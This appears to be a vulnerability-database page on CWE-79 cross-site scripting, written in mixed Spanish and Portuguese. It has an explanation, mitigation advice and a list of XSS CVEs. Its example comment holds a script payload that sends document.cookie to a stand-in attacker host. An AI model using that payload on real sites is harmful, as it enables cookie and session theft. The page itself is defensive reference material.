Fallos del tipo CWE-79

28.652 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2019-11291LOWRabbitMQ XSS attack via federation and shovel endpointsEPSS 0.8%CVE-2024-54996HIGHMonicaHQ v4.1.2 was discovered to contain multiple authenticated Client-Side Injection vulnerabilities via the title and description parametEPSS 0.8%CVE-2022-0321—WP Voting Contest < 3.0 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2021-24925—Modern Events Calendar Lite < 6.1.5 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2022-21690HIGHCross-Site Scripting in OnionshareEPSS 0.8%CVE-2021-24938—WooCommerce Currency Switcher < 1.3.7.1 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2022-40626MEDIUMReflected XSS in the backurl parameter of Zabbix FrontendEPSS 0.8%CVE-2022-0327—Master Addons for Elementor < 1.8.2 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2020-15162MEDIUMStored XSS in PrestaShopEPSS 0.8%CVE-2026-17532MEDIUMSeraphinite Accelerator <= 2.29.18 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2020-29496MEDIUMDell Wyse Management Suite versions prior to 3.1 contain a stored cross-site scripting vulnerability. A remote authenticated malicious user EPSS 0.8%CVE-2015-0749MEDIUMCisco Unified Communications Manager Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2017-9555—Cross-site scripting (XSS) vulnerability in PixlrEditorHandler.php in Synology Photo Station before 6.7.0-3414 allows remote attackers to inEPSS 0.8%CVE-2022-35230LOWReflected XSS in graphs page of Zabbix FrontendEPSS 0.8%CVE-2025-54534MEDIUMIn JetBrains TeamCity before 2025.07 reflected XSS was possible on the agentpushPreset pageEPSS 0.8%CVE-2018-7834—A CWE-79 Cross-Site Scripting vulnerability exists in all versions of the TSXETG100 allowing an attacker to send a specially crafted URL witEPSS 0.8%CVE-2021-32962HIGHClaroty Secure Remote Access Site - Authentication Bypass Using an Alternate Path or ChannelEPSS 0.8%CVE-2024-40643CRITICALJoplin has a parsing error leading to Cross-site Scripting (XSS)EPSS 0.8%CVE-2021-33021MEDIUMxArrow SCADA Cross-site ScriptingEPSS 0.8%CVE-2019-19002MEDIUMABB eSOMS X-XSS-Protection not enabledEPSS 0.8%